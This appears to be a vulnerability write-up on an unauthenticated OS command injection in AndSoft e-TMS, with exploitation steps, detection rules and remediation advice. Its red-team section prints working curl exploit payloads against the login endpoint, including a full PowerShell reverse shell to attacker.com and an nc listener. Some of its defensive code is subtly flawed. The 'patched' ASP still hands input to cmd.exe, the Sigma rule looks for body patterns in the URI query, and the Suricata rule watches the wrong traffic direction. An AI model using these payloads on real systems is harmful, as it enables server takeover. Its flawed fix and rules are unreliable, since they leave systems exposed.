CVE-2025-59736

Executive Summary

CVE-2025-59736 is a critical operating system command injection vulnerability in AndSoft's e-TMS (Transport Management System) version v25.03. The flaw resides in the /clt/LOGINFRM_DJO.ASP endpoint, specifically within the m parameter of a POST request. An unauthenticated attacker can inject arbitrary OS commands, leading to full server compromise. No patch is currently available, and the CVSS score is listed as 0.0 due to incomplete NVD data, but the actual severity is critical. This vulnerability is actively exploitable and poses a high risk to organizations using this software.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0 (likely due to incomplete data), based on the vulnerability characteristics, the estimated CVSS v3.1 vector is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution with no user interaction required.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection in an ASP application. The m parameter in the POST request to /clt/LOGINFRM_DJO.ASP is passed unsanitized to a system command execution function (likely WScript.Shell or similar). An attacker can inject command separators (e.g., ;, |, &&) to execute arbitrary commands on the underlying Windows server.

Root Cause: The application fails to validate or sanitize user input before using it in a shell command. This is a direct violation of secure coding practices (CWE-78).

Attack Flow:

1. Attacker identifies the vulnerable endpoint /clt/LOGINFRM_DJO.ASP.
2. Attacker crafts a POST request with a malicious m parameter containing OS commands.
3. The server executes the injected commands with the privileges of the web application (often SYSTEM or NETWORK SERVICE).
4. Attacker gains remote code execution, can install backdoors, exfiltrate data, or pivot within the network.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual ASP):

<%
Dim cmd
cmd = Request.Form("m")
Set shell = CreateObject("WScript.Shell")
shell.Run "cmd.exe /c " & cmd
%>

Patched Code (Conceptual):

<%
Dim cmd
cmd = Request.Form("m")
' Validate input: only allow alphanumeric and specific safe characters
If Not IsValidInput(cmd) Then
    Response.Write "Invalid input"
    Response.End
End If
' Use parameterized API or safe execution
Set shell = CreateObject("WScript.Shell")
shell.Run "cmd.exe /c " & EscapeShellArg(cmd)
%>

Key Differences:

• Input validation: Patched version checks for allowed characters.
• Safe execution: Patched version uses EscapeShellArg to prevent injection.
• No patch is available from the vendor; this is a conceptual fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running AndSoft e-TMS v25.03.
• Network access to the /clt/LOGINFRM_DJO.ASP endpoint.

Exploit Payload (cURL):

curl -X POST http://target.com/clt/LOGINFRM_DJO.ASP \
  -d "m=whoami"

Advanced Payload (Reverse Shell):

curl -X POST http://target.com/clt/LOGINFRM_DJO.ASP \
  -d "m=powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""

Lab Setup:

1. Deploy a Windows Server 2019/2022 with IIS and ASP support.
2. Install AndSoft e-TMS v25.03 (if available) or simulate the vulnerable endpoint.
3. Use a listener (e.g., nc -lvnp 4444) to catch the reverse shell.

Blue Team (Detection & Defense)

Detection:

• Monitor IIS logs for POST requests to /clt/LOGINFRM_DJO.ASP with suspicious m parameters.
• Look for command separators (;, |, &&, ||) in the m parameter.
• Alert on outbound connections from the web server to unknown IPs on high ports.

Defense:

• Immediately isolate the affected server if exploitation is suspected.
• Apply a Web Application Firewall (WAF) rule to block malicious m parameter patterns.
• Restrict outbound traffic from the web server to only necessary destinations.
• If possible, disable the vulnerable endpoint or remove the ASP file.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /clt/LOGINFRM_DJO.ASP with m parameter containing shell metacharacters.
• Outbound connections from the web server to attacker-controlled IPs on ports 4444, 8080, or 1337.
• Unusual DNS queries from the web server.

File IOCs:

• Suspicious files in C:\Windows\Temp\ or C:\inetpub\wwwroot\ (e.g., .exe, .ps1, .asp).
• Modified or new ASP files in the web root.
• Presence of tools like nc.exe, powershell.exe spawned by w3wp.exe.

Process IOCs:

• cmd.exe or powershell.exe spawned by w3wp.exe (IIS worker process).
• Unusual child processes of w3wp.exe.

Detection Engineering

YARA Rule

rule CVE_2025_59736_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts targeting AndSoft e-TMS CVE-2025-59736"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59736"
    strings:
        $asp_endpoint = "/clt/LOGINFRM_DJO.ASP" nocase
        $cmd_separator1 = ";" ascii
        $cmd_separator2 = "|" ascii
        $cmd_separator3 = "&&" ascii
        $cmd_separator4 = "||" ascii
        $cmd_keyword1 = "cmd.exe" ascii
        $cmd_keyword2 = "powershell" ascii
        $cmd_keyword3 = "whoami" ascii
    condition:
        $asp_endpoint and (
            $cmd_separator1 or $cmd_separator2 or $cmd_separator3 or $cmd_separator4 or
            $cmd_keyword1 or $cmd_keyword2 or $cmd_keyword3
        )
}

Sigma Rule

title: CVE-2025-59736 OS Command Injection in AndSoft e-TMS
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to the vulnerable endpoint with command injection patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/clt/LOGINFRM_DJO.ASP'
        cs-uri-query|contains:
            - 'm=;'
            - 'm=|'
            - 'm=&&'
            - 'm=||'
            - 'm=cmd.exe'
            - 'm=powershell'
            - 'm=whoami'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in input (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-59736 AndSoft e-TMS OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/clt/LOGINFRM_DJO.ASP";
    http_uri;
    content:"m=";
    http_client_body;
    pcre:"/m=[^&]*(?:;|\||&&|\|\||cmd\.exe|powershell|whoami)/i";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected server from the network if exploitation is suspected.
2. Disable the vulnerable endpoint by removing or renaming LOGINFRM_DJO.ASP.
3. Apply WAF rules to block malicious m parameter patterns.
4. Monitor for signs of compromise using the provided IOCs and detection rules.

Long-Term Fix:

• Contact AndSoft for an official patch. If unavailable, consider migrating to an alternative TMS solution.
• Implement input validation and parameterized command execution in all ASP applications.
• Conduct a full security audit of the e-TMS application.

Compromise Assessment:

• Check for unauthorized user accounts, scheduled tasks, and services.
• Review IIS logs for exploitation attempts.
• Scan for backdoors and persistence mechanisms.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert